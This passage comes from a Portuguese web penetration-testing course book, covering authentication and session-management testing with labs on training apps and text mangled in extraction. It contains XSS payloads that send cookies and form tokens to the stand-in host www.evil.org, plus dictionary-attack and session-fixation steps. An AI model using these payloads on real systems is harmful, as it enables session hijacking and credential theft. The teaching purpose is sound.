queia contas de usurio, aps trs tentativas invlidas de autenticao.
2. Sempre que um usurio efetuar um lance, o programa trava a conta correspondente, por
meio de tentativas deliberadamente invlidas de autenticao, com o identificador do con-
corrente. Isso faz com que a vtima perca tempo, tentando desbloquear a conta que utiliza.
Observe que a grande vulnerabilidade desse cenrio que a aplicao revela a lista com- q
pleta de identificadores dos usurios que concorrem pelo mesmo item. Se o atacante
no tivesse essa informao, no seria capaz de bloquear os usurios necessrios.
Engenharia social
Mesmo hoje em dia, o maior problema de sistemas de autenticao de usurios no de q
origem tcnica, mas, sim, de natureza humana.
Por maior que seja a divulgao dos cuidados que devem ser tomados pelas pessoas no
mundo virtual, muitas delas ainda so vtimas de golpes enviados por correio eletrnico ou
disseminados por sites nada idneos. Todos os dias, dezenas de mensagens no solici-
tadas chegam s caixas de correio, com o objetivo de convencer o usurio a visitar alguma
pgina maliciosa ou abrir os anexos recebidos. Para isso, exploram a curiosidade e o medo,
caractersticos dos seres humanos, por meio de engenharia social. Por exemplo, fotos sobre
artistas, desastres naturais e escndalos sexuais sempre despertam a ateno das pessoas, Captulo 3 - Teste do mecanismo de autenticao
que tentam visualiz-las a qualquer custo, expondo-se a riscos desnecessrios. A Figura 3.23,
por sua vez, ilustra uma pgina falsificada de um banco, que supostamente perdeu a base
de usurios e requer, por isso, que recadastrem a cartela de chaves de segurana e a senha
do carto, sob pena de terem a conta bloqueada.
119
Algumas vezes, o contratante de um teste de invaso solicita que a postura de segurana q Figura 3.23
de seus colaboradores seja avaliada, como uma maneira de validar a eficcia da pol- Site falsificado,
para captura de
tica de segurana vigente. Nesse contexto, desde que se tenha autorizao por escrito, senha e cartela
tcnicas de engenharia social, como as implcitas nos cenrio acima, devem ser empre- de segurana.
gadas. Vejamos alguns testes que podem ser realizados:
Exerccio de fixao 2 e
Vulnerabilidades em mecanismos de autenticao
Que tipos de vulnerabilidades podem ser encontrados em mecanismos de autenticao?
Teste de Invaso de Aplicaes Web
Contramedidas
Os seguintes controles devem ser considerados para evitar vulnerabilidades no meca- q
nismo de autenticao:
120
1 Remova, das pginas HTML e dos arquivos de cdigo-fonte, comentrios que conte- q
nham informaes de autenticao.
1 Para contas criadas automaticamente pela aplicao, atribua uma senha inicial alea-
tria e obrigue a troca no primeiro acesso.
1 Informe ao usurio, logo no incio de uma sesso, a data e hora da ltima vez em que
se conectou com sucesso.
1 Quando a autenticao falhar, exiba apenas uma mensagem de erro genrica. Nunca
informe se o identificador de usurio no existe ou se a senha incorreta. Adote
estratgia similar para mecanismos de recuperao de senha.
1 Nunca confie em parmetros que podem ser alterados pelos usurios para decidir se
esto ou no autenticados.
1 Configure o lado servidor dos tneis criptogrficos, de acordo com as melhores pr-
ticas de segurana conhecidas.
Captulo 3 - Teste do mecanismo de autenticao
1 Se um erro inesperado ocorrer, a aplicao deve permanecer em um estado seguro.
1 Valide a entrada imediatamente antes de process-la, de modo que o formato espe-
rado seja respeitado.
1 Exija sempre o fornecimento da senha atual para efetuar a troca de senha de um usurio.
1 Em mecanismos de autenticao baseados em mltiplos fatores, sempre verifique
que todas as etapas esperadas foram corretamente validadas. Toda informao rela-
cionada ao processo de autenticao deve ser mantida no servidor, exclusivamente.
121
1 Nunca armazene as senhas em claro. Em vez disso, adicione a elas 128 bits de salt q
e guarde apenas o hash criptogrfico do valor resultante, como validador de cada
conta. Para os casos em que o nmero de senhas muito pequeno, empregue cifras
probabilsticas, em vez de funes de hash criptogrficas, para evitar ataques de
varredura completa do domnio.
122
Roteiro de Atividades 3
Atividade 1 Tecnologias de autenticao
Esta atividade tem por objetivo abordar tecnologias de autenticao empregadas em apli-
caes web, dando base para que o aluno realize as atividades de descoberta de vulnera-
bilidades e explorao. Para inici-la, carregue as mquinas virtuais do aluno e do servidor
(Fedora) e execute os roteiros na primeira delas.
2. Acesse https://mauth.esr.rnp.br/.
3. Na janela que aparece, escolha Wrong User e clique em Ok. Observe que uma pgina gen-
rica de erro foi exibida.
4. Pressione Ctrl + Shift- + Del para limpar o histrico do Firefox, selecione Everything e clique
em Clear Now.
6. Na janela que aparece, escolha ESR User e clique em Ok. Veja que o usurio foi autenticado
com sucesso, porm, nenhuma senha foi fornecida.
7. Feche o navegador.
Captulo 3 - Roteiro de Atividades
123
Uso de informaes obtidas nas fases de reconhecimento e mapeamento
Neste exerccio, informaes encontradas nas etapas de reconhecimento e mapeamento
so utilizadas para se obter acesso ao sistema.
~$ curl http://mutillidae.esr.rnp.br/robots.txt
5. Acesse http://mutillidae.esr.rnp.br/passwords.
8. Acesse http://mutillidae.esr.rnp.br.
9. Clique em Login.
10. Tente se conectar como o usurio admin e veja a mensagem no topo da tela.
11. Clique novamente em Login e repita o passo anterior, para o usurio ed.
12. Clique no marcador WebGoat e fornea guest e guest, quando usurio e senha
forem solicitados.
14. No menu, ao lado esquerdo, clique em Code Quality e, depois, em Discover Clues in the HTML.
16. Pressione Ctrl + F, para realizar uma busca, e digite <!-- no campo Find.
20. O exerccio finalizado com sucesso e a mensagem * Congratulations. You have successfully
Teste de Invaso de Aplicaes Web
http://exemplo.esr.rnp.br:8080/manager/html
124
3. Tente se autenticar com uma das senhas fornecidas na Tabela 5.
6. Encerre o Firefox.
2. Acesse http://form-auth.esr.rnp.br/.
3. Digite seu primeiro nome nos campos Usurio e Senha e clique em Login.
6. Qual a diferena em relao mensagem de erro anterior? Como isso pode ser utilizado
para enumerar usurios?
8. Digite seu primeiro nome no campo Usurio e clique em Esqueci minha senha.
~$ curl http://form-auth.esr.rnp.br
~$ cat enumerate
~$ cat ids
125
19. Execute o script de enumerao:
~$ ./enumerate
2. Acesse http://form-auth.esr.rnp.br/.
8. Encerre o Firefox.
3. Clique no primeiro cone da barra de ferramentas, para listar as interfaces de rede dis-
ponveis para captura. Na caixa de dilogo que aparece, clique em Options da linha eth1.
Em seguida, no campo Capture filter, digite tcp port http e clique em Start, para iniciar a
Teste de Invaso de Aplicaes Web
captura de pacotes.
8. Na segunda parte da tela, expanda o item Line-based text data e observe que as creden-
ciais so transmitidas sem nenhuma proteo.
126
9. Clique novamente no primeiro cone da barra de ferramentas do Wireshark, para listar as
interfaces de rede disponveis para captura. Na caixa de dilogo que aparece, clique em
Options da linha eth1. Em seguida, no campo Capture filter, digite tcp port https e clique
em Start para iniciar a captura de pacotes.
13. Digite esruser tanto para usurio como para senha e clique em Ok.
14. Pare a captura de pacotes no Wireshark, clicando no quarto boto da barra de ferra-
mentas (Stop the running live capture).
15. Procure pela primeira linha contendo Application data, Application data e a selecione.
16. Na segunda parte da tela, expanda o item Secure Socket Layer e observe que todo o
contedo est cifrado.
7. No menu do lado esquerdo, clique em Improper Error Handling e, em seguida, em Fail Open
Authentication Scheme.
10. Retorne ao Firefox, digite webgoat para os campos User Name e Password e clique em Login.
127
14. Clique no Multiproxy Switch, na barra de estado, e selecione None.
18. Digite uma aspa simples () no campo Name e qualquer valor no campo Password.
20. A mensagem de erro exibida indica que aplicao vulnervel injeo de SQL, tema
do Captulo 6.
24. Devido ao problema no tratamento das entradas, foi possvel se conectar como admin,
sem conhecimento de nenhum identificador de usurio.
8. Digite Jane e tarzan nos campos Name e Password, respectivamente, e clique em Submit.
9. Fornea o TAN solicitado, a partir da lista apresentada na tela, e clique em Submit. TAN
Teste de Invaso de Aplicaes Web
Transaction
10. No menu do lado esquerdo, clique em Multi Level Login 2.
Authorization Number
uma senha descartvel,
11. Digite Joe e banana nos campos Name e Password, respectivamente, e clique em Submit.
utilizada como segundo
12. No WebScarab, clique na aba Proxy e marque Intercept Requests. fator de autenticao,
distribuda, normalmente
13. Retorne ao Firefox, digite o TAN solicitado, a partir da lista apresentada na tela, e clique no formato de uma
cartela contendo vrios
em Submit.
valores distintos. Cada
usurio da aplicao
14. Altere o valor do parmetro hidden_user para Jane e clique em Accept changes.
recebe um conjunto
15. Que vulnerabilidade permitiu a realizao do ataque? diferente, gerado de
maneira aleatria.
128
16. No WebScarab, clique na aba Proxy e desmarque Intercept Requests.
9. Clique em Start.
Ataque de dicionrio
Ataques de dicionrio so mais eficientes que os de fora bruta, pois somente senhas provveis
so testadas. Vejamos algumas ferramentas que podem ser utilizadas com esse propsito.
2. Digite o comando:
~$ cat ids
~$ cat pwds
Captulo 3 - Roteiro de Atividades
~$ medusa
6. Para realizar um ataque de dicionrio contra o mtodo de autenticao Basic com o utili-
trio Medusa, digite o comando:
-m DIR:basic/ -v 4
129
Identifique o propsito de cada opo utilizada.
~$ hydra
/digest/
Parte II Script
~$ curl http://form-auth.esr.rnp.br
~$ cat dict
~$ ./dict
2. Digite o comando:
~$ cat passwords
4. Veja as opes que podem ser utilizadas com o John the Ripper:
~$ john
5. Digite o comando abaixo para que o utilitrio tente efetuar a quebra do arquivo de senhas:
~$ john passwords
130
Todas as senhas foram quebradas? Qual o tempo gasto na tarefa?
7. Crie um arquivo contendo exatamente seis letras minsculas seguidas de trs nmeros:
Digite o valor escolhido e pressione Ctrl + D, seguido de Ctrl + C, para gravar o arquivo.
~$ ls l in.txt
10. Selecione o MD5 calculado e o copie para a rea de transferncia, pressionando Ctrl + Shift + C.
11. Digite o comando abaixo para recuperar o texto original, por meio de Rainbow Tables:
131
Bibliografia 3
1 DUC, Nguyen Minh e MIHN, Bui Quang. Your face is NOT your password Face
Authentication ByPassing Lenovo Asus Toshiba. Relatrio Tcnico, Bkis, 2009.
1 HAMANN, E.; HENN, Horst; SCHCK, Thomas e SELIGER, Frank. Securing e-business
applications using smart cards. IBM Systems Journal, Vol. 40, nmero 30, p. 635-647,
maro de 2001.
1 HARRIS, Shon. All in One CISSP Exam Guide. McGraw Hill Osborne, 4 edio, 2008.
1 HELLMAN, Martin. A Cryptanalytic Time-Memory Trade-Off. In: IEEE Transactions on
Information Theory, volume 26, nmero 4, pginas 401-406, julho de 1980.
1 HOWARD, Michael; LEBLANC, David e VIEGA, John. 19 Deadly Sins of Software Security
Programming Flaws and How to Fix Them. McGraw-Hill/Osborne, 2005.
1 PCI. Payment Card Industry (PCI) Data Security Standard Requirements and Security
Assessment Procedures v. 1.2.1. PCI Security Standards Council, 2009.
1 STUTTARD, Dafydd e PINTO, Marcus. The Web Application Hackers Handbook. Wiley
Publishing, Inc., 2007.
1 ULUDAG, Umut e JAIN, Anil K. Attacks on Biometric Systems: A Case Study in Fingerprints.
In: Proceedings of SPIE-EI 2004, Security, Steganography and Watermarking of Multimedia
Contents VI, vol. 5306, p. 622-633, San Jose, CA, janeiro de 2004.
Teste de Invaso de Aplicaes Web
132
4
Teste do gerenciamento de sesses
objetivos
conceitos
Identificador de sesso, atributos de cookies, sequestro de sesso, fixao de sesso,
cross site request forgery, token anti-CSRF, clickjacking.
Introduo
O protocolo HTTP no possui nenhum mecanismo nativo para manuteno de sesso, q
isso , no possvel relacionar requisies oriundas de um usurio especfico, como
parte de uma nica conversao.
Embora isso no representasse um problema nos primrdios da web, quando apenas con-
tedo esttico era disponibilizado, atualmente, para aplicaes cujo comportamento depende
da interao com o usurio, tal caracterstica atua como um fator limitante. De modo a suprir
essa lacuna, as linguagens de programao e arcabouos de desenvolvimento fornecem
mecanismos que possibilitam criar e gerenciar sesses em sistemas web.
H diversas abordagens que podem ser empregadas com esse propsito, as quais diferem
com relao s vantagens e desvantagens apresentadas por cada um dos esquemas:
1 Cookies.
1 Parmetros de URL.
1 Campos escondidos.
Cookies
Mtodo mais comumente utilizado e resume-se na definio do identificador de sesso,
por meio de um cabealho Set-Cookie enviado como parte da resposta inicial da aplicao.
Aps o recebimento deste, o navegador passa a enviar o cookie, automaticamente, em todas
as requisies realizadas ao domnio e caminho para os quais foi definido. Segundo Kolek
133
(2007), das opes de gerenciamento de sesses, a mais conveniente, porque utiliza um
mecanismo padro do protocolo HTTP, e a menos insegura, uma vez que no est sujeita
a todos os ataques que afetam as demais solues. Um problema inerente a esse esquema,
porm, que ele no funciona se o usurio desabilitar o suporte a cookies no navegador web.
Exemplo:
Parmetros de URL
Consiste na adio dinmica do identificador de sesso, como um parmetro de URL,
aos diversos links contidos na aplicao. Apresenta como vantagens o fato de funcionar,
mesmo que cookies estejam desabilitados no navegador web, e de auxiliar colateralmente
na preveno de ataques CSRF, discutidos adiante, neste captulo. Por outro lado, facilita o
sequestro de sesso, uma vez que o identificador fica registrado em trilhas de auditoria e no
histrico de navegao.
Exemplo:
https://esr.rnp.br/script.do;sessionid=v4kQLNGhHKTT9YpTVJlqtMf6
Campos escondidos
Nesse caso, o identificador de sesso adicionado dinamicamente ao corpo das pginas da
aplicao, como um campo escondido de formulrio, que submetido, automaticamente,
junto com a requisio POST. O principal ponto positivo desse esquema que pode ser
utilizado, independentemente do suporte a cookies pelo navegador web. Em contrapartida,
pode apresentar os mesmos problemas que afetam o modelo baseado em parmetros de
URL, caso a aplicao tambm aceite, como resultado de codificao insegura, o mtodo
GET, em vez de POST, para envio do formulrio.
Exemplo:
</form>
Uma pergunta que pode ser feita nesse contexto resume-se ao que acontece quando a q
aplicao recebe um identificador de sesso desconhecido (Kolek, 2007). Se uma nova
sesso criada, a partir do valor recebido, como acontece com PHP, o gerenciamento de
Teste de Invaso de Aplicaes Web
134
Desse modo, se um atacante consegue obter o identificador de uma sesso ativa, ele q
capaz de injetar requisies ilegtimas, que so tratadas como vlidas pela aplicao
web. Obviamente, o impacto resultante de um ataque desse tipo, chamado de sequestro
de sesso, maior quando o usurio j se encontra autenticado pelo sistema, pois,
nesse caso, aes mais crticas podem ser realizadas.
Nesse caso, o usurio malicioso no precisa obter um identificador de sesso para atacar
a vtima. Basta induzi-la, por meio de engenharia social, ao clicar em um link ou abrir uma
mensagem, especialmente preparados para disparar a ao desejada. Entretanto, isto deve
ocorrer somente quando o usurio estiver com uma sesso ativa no sistema, para que o
ataque funcione corretamente.
Note que qualquer um dos ataques acima to crtico quanto aqueles contra os meca-
nismos de autenticao de usurios ou de autorizao, pois permitem que operaes sejam
executadas ilegitimamente, sem o conhecimento de credenciais de acesso vlidas. Alm
disso, considerando que, muitas vezes, a preocupao com a segurana do gerenciamento
de sesses menor que a direcionada a essas outras reas, tais ataques podem apresentar
eficcia maior, tornando-os bastante interessantes para um usurio malicioso.
O objetivo deste captulo discutir os diversos problemas de segurana que podem ocorrer
em mecanismos de gerenciamento de sesses, utilizados em aplicaes web. Tendo isso em
mente, os seguintes tpicos so abordados neste texto: identificadores de sesso previs-
veis, domnio de identificadores com baixa cardinalidade, transmisso em claro de identi-
ficadores de sesso, manipulao por meio de scripts, atributos de cookies, sequestro de
sesso, fixao de sesso, encerramento vulnervel de sesso, sesses simultneas, cross
site request forgery e clickjacking.
Exerccio de fixao 1 e
Identificador de sesso
O que um atacante consegue fazer ao obter um identificador de sesso vlido de outro usurio? Captulo 4 - Teste do gerenciamento de sesses
135
Exerccio de nivelamento 1 e
Gerenciamento de sesses
No que consiste o gerenciamento de sesses em aplicaes web?
Entre os principais defeitos, em uma aplicao web, que contribuem para o sucesso desse
tipo de explorao, possvel citar:
1 Identificador de usurio.
1 Endereo de correio eletrnico.
Teste de Invaso de Aplicaes Web
136
Mesmo quando esse tipo de informao no empregado na composio dos identifi- q
cadores de sesso, qualquer tipo de padro perceptvel suficiente para o comprometi-
mento do sistema.
MDAwMDAwNDMzOTc0MDM5
MDAwMDAwNDMzOTc0Mjky
MDAwMDAwNDMzOTc0NTQ1
MDAwMDAwNDMzOTc0Nzk4
MDAwMDAwNDMzOTc1MDUx
MDAwMDAwNDMzOTc1MzA0
MDAwMDAwNDMzOTc1NTU3
Em primeiro lugar, fica evidente que somente a parte final dos valores varia, indicando
que no so gerados aleatoriamente. A segunda pista dada pelo conjunto de caracteres
utilizados e pelo comprimento mltiplo de quatro, os quais so fortes evidncias de que os
identificadores podem ter sido codificados em BASE64. Realizando a decodificao, obtm-se
a lista abaixo:
000000433974039
000000433974292
000000433974545
000000433974798
000000433975051
000000433975304
Captulo 4 - Teste do gerenciamento de sesses
000000433975557
Percebe-se facilmente que cada nmero corresponde ao anterior acrescido do valor 253.
Assim, a partir do identificador atribudo a um usurio, possvel determinar sesses esta-
belecidas anteriormente e as de pessoas que ainda se conectaro na aplicao.
9573af19f96b5af3e658a10880b595e66323dd588b05ea74546cc03c681d7a5a
f8fc8bde8ffed754c6c205e67b5bb93349ec807f7351a4e9431bae0acf6ed5ed
04ea850199defe4ac056068c983399d08fcc29c229aa5712a42e78d7c6dbabe1
38182f5ebc07991910dd0123468161ba3e266a598eaff8aaa233222d1dd70ed1
137
0cc9b140314056f66d300e06f62bca68861ab147b576780b7fe2224d9628dc1e
07e6d6b341dc1fefd5044f96ab637e69dc9ff226719bb9027791cb70b6ee5e69
d31a613c1cfb79276f4576a3735599aa72f331570a3236b435c4677cbb60fceb
sid = convertToHex(sha256(sid));
Isso muda completamente o cenrio, pois cada valor gerado com base no anterior, por meio
da aplicao da funo de hash criptogrfica SHA-256. Desse modo, embora no seja pos- SHA-256
svel obter os identificadores anteriores ao atribudo a um dado usurio, em decorrncia da Funo de hash
criptogrfica,
propriedade de resistncia da pr-imagem, muito fcil calcular os valores futuros. Pode-se
desenvolvida pela NSA,
argumentar que esse ataque no relevante, porque necessita que o adversrio tenha que faz parte da famlia
acesso ao cdigo fonte da aplicao, para que se obtenha sucesso. Porm, do ponto de vista SHA-2 e mapeia cadeias
binrias de tamanho
de segurana, isso no aceitvel, uma vez que configura proteo por obscuridade.
q
arbitrrio para valores
de 256 bits.
Como muitas vezes no fcil realizar a anlise manual da aleatoriedade dos identifica-
dores de sesso, recomenda-se fortemente a utilizao de programas automatizados,
FIPS 140-2
que executem testes estatsticos sobre a amostragem coletada (Barrall, 2005). Entre as
Padro que determina
ferramentas dessa natureza, duas muito interessantes so:
os requisitos de
1 WebScarab segurana que devem
ser atendidos por
1 Stompy mdulos criptogrficos
utilizados em solues
WebScarab de proteo de
informaes sensveis.
Essa sute integrada de testes possui a funcionalidade SessionID Analysis, que coleta a
quantidade especificada de identificadores e os transforma em nmeros, para que sejam PRNG
plotados em um grfico em funo do tempo. Caso exista uma relao entre os valores Algoritmo determinstico
analisados, espera-se que ela seja evidenciada graficamente, de modo a ser percebido pelo que, a partir de uma
sequncia de bits
analista de segurana. A Figura 4.1 e a Figura 4.2 ilustram, respectivamente, identificadores
verdadeiramente
de sesso de um sistema robusto e de outro vulnervel. aleatria de
comprimento k, gera
Stompy uma sequncia de bits
muito maior que k, a qual
Software livre criado por Michal Zalewski, que pode ser utilizado para avaliar a qualidade satisfaz os requisitos de
de identificadores de sesso e de outros elementos que requeiram unicidade, por meio aleatoriedade verificados
por testes estatsticos,
de diversos testes estatsticos, inclusive os especificados pelo padro desenvolvido pelo
criados especialmente
governo americano, Federal Information Processing Standards 140-2(FIPS 140-2), usado na para validao de tal
anlise de Pseudorandom Number Generator (PRNG). Esse utilitrio escrito em linguagem propriedade.
C e para ser compilado requer as bibliotecas The GNU Multiple Precision Arithmetic Library
Teste de Invaso de Aplicaes Web
(GNU MP) e OpenSSL. A Figura 4.3 e a Figura 4.4 apresentam, respectivamente, os resul- GNU MP
tados da execuo do Stompy contra os mecanismos da Figura 4.1 e Figura 4.2. Tambm conhecida
por GMP, uma
biblioteca livre voltada
para aritmtica de
preciso arbitrria
sobre nmeros inteiros,
racionais e de ponto
flutuante.
138
Figura 4.1
Grfico de identifi-
cadores de sesso
gerados por meca-
nismo robusto.
Figura 4.2
Grfico de identifi-
cadores de sesso
completamente
previsveis.
~$ stompy http://dvwa.esr.rnp.br
Target URI : /
139
RESULTS SUMMARY:
ANOMALY MAP:
Alphabet-level : ..........................
---------------------------------------------
...
...
RESULTS SUMMARY:
Figura 4.4
Anlise de um
ANOMALY MAP: mecanismo vulne-
Teste de Invaso de Aplicaes Web
rvel de gerao
Alphabet-level : !!!!! de identificadores
de sesso realiza-
Bit-level : !!!!!!!!!!!!!! da pelo utilitrio
Stompy.
140
Por exemplo, se nmeros de 16 bits so empregados, a cardinalidade do conjunto igual
a 65536, e a chance de adivinhar um identificador vlido tende a 100%, medida que o
nmero de sesses ativas se aproxima daquele valor.
Com base nesse cenrio, a Figura 4.5 ilustra a anlise realizada pelo Stompy sobre uma sequ-
ncia de nmeros de 16 bits. Note que a entropia mxima estimada para os valores de 17,01
bits, a qual rotulada como muito trivial pela ferramenta. Em outras palavras, isso significa
que ataques baseados em adivinhao podem ser executados sem esforo significativo.
~$ stompy -R /mnt/hgfs/CursoRNPDisk/valores2.txt
---------------------------------------------
...
A[011]=00004 A[009]=00001
...
RESULTS SUMMARY:
ANOMALY MAP:
Figura 4.5
Anlise de Alphabet-level : !!!!!
uma sequncia de
nmeros de 16 bits. Bit-level : !!!!!............
141
A Figura 4.6 ilustra uma requisio GET, contendo um cabealho Cookie, a qual foi obtida
com a ferramenta Wireshark por meio da escuta da rede. Isso indica claramente que tais
tipos de informao no podem ser enviados por HTTP simples, principalmente, se forem
referentes a sesses de usurios autenticados. Alm disso, importante mencionar que,
para um atacante estrategicamente posicionado, a execuo do ataque no apresenta
nenhuma dificuldade.
Como essas ltimas, incluindo as credenciais de acesso, trafegam por canais seguros,
acredita-se, erroneamente, que no h impacto segurana do esquema. Entretanto, basta
que um atacante capture o identificador em um momento anterior ao estabelecimento do
tnel HTTPS, para que seja possvel se apoderar da comunicao ulteriormente.
Desse modo, fica claro, a partir desse cenrio, que um novo identificador de sesso deve q
ser atribudo ao usurio, sempre que houver mudana no nvel de privilgios do acesso.
O teste que deve ser realizado para verificar a existncia dessa fraqueza simples e resume-se
aos seguintes passos:
1 Navegao nas diversas reas pblicas da aplicao, verificando, com auxlio de um proxy
de interceptao ou outra ferramenta, o(s) identificador(es) de sesso atribudo(s).
1 Mudana do nvel de acesso, por meio da autenticao do usurio ou uso de opes que
manipulem informaes sensveis.
Figura 4.6
Manipulao de identificador de sesso por meio de scripts Identificador de
q
sesso capturado
Toda e qualquer pgina HTML carregada em um navegador web torna-se um objeto pela rede.
document, o qual mapeia todos os elementos que a compem e acessvel por meio
de scripts. Dentre as diversas propriedades desse objeto, est a de nome cookie, que
permite ler e escrever os identificadores de sesso baseados nesse mecanismo.
142
Por exemplo, caso seja possvel injetar Javascript em uma aplicao, como acontece em
ataques cross-site scripting (Captulo 5), pode-se exibir o cookie por meio do cdigo:
<script>alert(document.cookie)</script>
Obviamente, isso serve apenas como prova de conceito, pois exibir o cookie para o usurio
no representa nenhuma vantagem para o atacante.
DHTML Porm, empregando Dynamic HTML (DHTML), possvel incluir elementos na pgina, de q
Consiste na criao maneira dinmica, que podem ser utilizados para enviar o identificador a um domnio
dinmica de pginas controlado pelo usurio malicioso.
interativas, por meio de
tecnologias como HTML, O cdigo abaixo realiza essa tarefa, por meio da insero de uma imagem, cujo atributo
DOM, Javascript e CSS. origem o domnio www.evil.org. Note que o cookie anexado como parte da URL do
recurso, durante a construo do elemento.
<script>document.write(<img src=http://www.evil.org/?SID=+
document.cookie+/>);</script>
Quando o navegador executa o script e o objeto img criado, uma requisio realizada ao
servidor do usurio malicioso, gerando a seguinte entrada no arquivo de trilha de auditoria:
importante ressaltar que os scripts no esto limitados a acessar apenas os cookies defi- q
nidos pelas aplicaes, sendo possvel, tambm, manipular outros elementos na pgina.
Considere, por exemplo, um sistema que utiliza campos escondidos para transporte dos
identificadores de sesso. Com uma pequena alterao no vetor de injeo acima, fcil
obter o mesmo resultado, empregando os objetos e propriedades definidos pelo Data
DOM Object Model (DOM), conforme ilustrado a seguir:
Representa um
documento HTML <script>document.write(<img src=http://www.evil.org/?SID=+
como uma estrutura
baseada em rvore, que document.forms[guestform].elements[token].value+/>);</script>
pode ser acessada de
maneira padronizada, Similarmente ao caso anterior, a criao dinmica do objeto dispara uma requisio ao site Captulo 4 - Teste do gerenciamento de sesses
seguindo-se a sintaxe www.evil.org, que resulta na insero de um registro de trilha de auditoria contendo o iden-
da linguagem de
tificador de sesso desejado:
programao utilizada.
192.168.213.10 - - [30/Jul/2011:20:43:47 -0300] GET
/?SID=shjykghy9723 HTTP/1.1 200 175
Para que os exemplos dados nesta seo funcionem corretamente, fundamental res- q
peitar a poltica de mesma origem, que impede que um script definido em uma pgina
acesse os objetos de um documento carregado a partir de outra origem. Segundo essa
diretriz, dois recursos so considerados de mesma origem somente quando as respec-
tivas URLs possuem protocolo, porta e domnio idnticos.
143
Surpreendentemente, a poltica no se aplica a scripts externos carregados por meio do q
atributo src do marcador script, desde que presente no mesmo documento.
Atributos de cookies
A proteo de cookies pode ser complementada por meio da definio de alguns atributos,
que orientam como aqueles devem ser tratados pelos navegadores web (Palmer, 2008). O
emprego equivocado dessas opes, entretanto, pode favorecer o comprometimento de
identificadores de sesso e outros dados transportados por esse meio.
Domain
O atributo domain estipula para quais domnios o navegador web deve enviar o cookie, q
como parte da requisio.
Por exemplo, considere que uma resposta do servidor inclua o cabealho abaixo ilustrado:
Isso define o cookie ESRSIDDO e orienta o navegador web a somente envi-lo, junto s requi-
sies para o domnio cookies.esr.rnp.br e respectivos subdomnios. Desse modo, o cookie
despachado para www.cookies.esr.rnp.br, mas no para www.esr.rnp.br e nem www.evil.org.
Para evitar que domain seja utilizado com fins maliciosos, ele somente pode especificar o q
prprio domnio do servidor que define o cookie ou um domnio pai. Por motivos bvios,
domnios de alto nvel, como com e com.br, no so permitidos, seno seria possvel
especificar cookies para qualquer site da web (Stuttard e Pinto, 2007).
Path
q
Teste de Invaso de Aplicaes Web
Ele determina que o cookie ESRSIDPA seja enviado, somente quando recursos sob o diretrio
/path forem solicitados. Agora, se no exemplo acima, em vez de /path fosse especificado /, o
144
cookie seria submetido em quaisquer requisies para o domnio de definio. De um ponto de
vista de segurana, isto no bom, sendo melhor, portanto, ser o mais restritivo possvel. Assim,
cabe aqui o princpio de conhecimento por necessidade, segundo o qual, quaisquer informa-
es, inclusive cookies, devem ser acessveis, apenas pelas entidades que precisam delas.
Secure
O atributo secure informa ao navegador web que o cookie contm informaes sensveis q
e, por isso, no deve ser enviado, por meio de conexes desprotegidas.
Se secure no for empregado, caso alguma pgina privilegiada seja requisitada, por
defeito na construo, via protocolo HTTP simples, o cookie trafegar em claro pela rede.
Embora, de modo geral, os navegadores web avisem quando uma pgina carregada
por HTTPS contm itens inseguros, depender disso no ideal, pois usurios tendem a
ignorar tais tipos de mensagem.
HttpOnly
O atributo HttpOnly, introduzido pela Microsoft, tem por objetivo impedir que cookies q
sejam manipulados por scripts no lado cliente da aplicao.
Um ponto importante que deve ser observado, contudo, que esse atributo no impede q
que scripts no lado cliente criem outro cookie de mesmo nome, mas com valor e atri-
butos diferentes. Quando isso ocorre, ambos os cookies so enviados nas requisies
pertinentes, podendo causar diversos problemas para a aplicao.
O cdigo Javascript apresentado na Figura 4.7 exemplifica como essa tarefa pode ser executada.
<script language=javascript>
Captulo 4 - Teste do gerenciamento de sesses
function createCookie() {
document.cookie = ESRSIDHO=NovoValorDoCookie;
Figura 4.7
Cdigo Javascript }
que define novo
cookie. </script>
Roteiro de teste
Em um teste de invaso, o roteiro apresentado abaixo pode ser empregado para q
detectar fraquezas no uso de atributos de cookies:
145
2. Para cada um dos cookies contendo valores sensveis, verifique se: q
2.1.O atributo Domain no est definido ou se contm um valor restritivo.
Exerccio de fixao 2 e
Atributos para proteo
Caso identificadores de sesso sejam transportados por meio de cookies, que atributos
podem ser utilizados para proteg-los?
Sequestro de sesso
O propsito final de se obter um identificador de sesso de outro usurio resume em q
ser capaz de injetar requisies na conversao da vtima, o que denominado de
sequestro de sesso.
146
O complemento Add N Edit Cookies do Firefox apresenta uma alternativa muito mais q
fcil de executar o mesmo ataque.
Mesmo aps tanto tempo do primeiro registro pblico, diversas aplicaes mostram-se
vulnerveis ao ataque, como evidenciado pelos trabalhos recentes de Siles (2011) e
Schrank et al. (2010).
q
Captulo 4 - Teste do gerenciamento de sesses
Segundo Kolek (2007), possvel dividir o ataque de fixao de sesso em trs grandes
etapas:
147
Preparao
Nesta fase inicial, o usurio malicioso define o identificador de sesso que ser utilizado no
restante do ataque. Se o mecanismo de gerenciamento de sesses do tipo estrito ou se
o identificador fornecido, somente aps uma autenticao bem sucedida, deve-se obter
um valor, autenticando-se no sistema com uma conta vlida; se no, possvel escolher
um valor arbitrrio. Observe que, no primeiro cenrio, caso a aplicao possua controle de
encerramento de sesses ociosas, algumas requisies devem ser realizadas, de tempos em
tempos, para manuteno da sesso, at que a vtima se autentique.
Fixao
Esse o passo principal e consiste em induzir a vtima a se autenticar na aplicao web,
a partir da sesso definida na primeira etapa pelo atacante. Para isso, necessrio fixar
o identificador de sesso do usurio alvo, por meio de tcnicas como cross-site scripting,
manipulao de trfego de rede e cross-site cooking.
Entrada
Procede-se como no sequestro de sesso, mas utilizando o identificador de sesso sele-
cionado, em vez de um que tenha sido descoberto, por meio de outros ataques. De modo
a facilitar a compreenso desses conceitos e da vulnerabilidade que causa o problema,
a Figura 4.10 apresenta um exemplo desse tipo de ataque, contra uma aplicao cujo
esquema de gerenciamento de sesses permissivo. Os passos que compem a explorao
esto explicados a seguir:
1. O usurio malicioso escolhe o valor 12345, como identificador de sesso a ser utilizado
no ataque. Em seguida, envia uma mensagem de correio eletrnico vtima, contendo
um link para a aplicao vulnervel, o qual carrega o identificador selecionado, como
parmetro da URL.
2. A vtima, entusiasmada com a possibilidade de ganhar diversos prmios, clica no link forne-
cido e acessa o script login.php, presente no servidor www.app.com. Sem que ela saiba, o
identificador de sesso 12345, fixado pelo atacante, enviado, junto requisio.
4. Logo depois, devolve a tela de autenticao de usurios vtima, como resposta requi-
sio realizada.
5. A vtima fornece o nome da conta que utiliza e a senha de acesso correspondente, autenti-
cando-se com sucesso no sistema. Apesar da mudana do nvel de acesso do usurio,
a aplicao no altera o identificador de sesso, que continua com o valor 12345. Essa
Teste de Invaso de Aplicaes Web
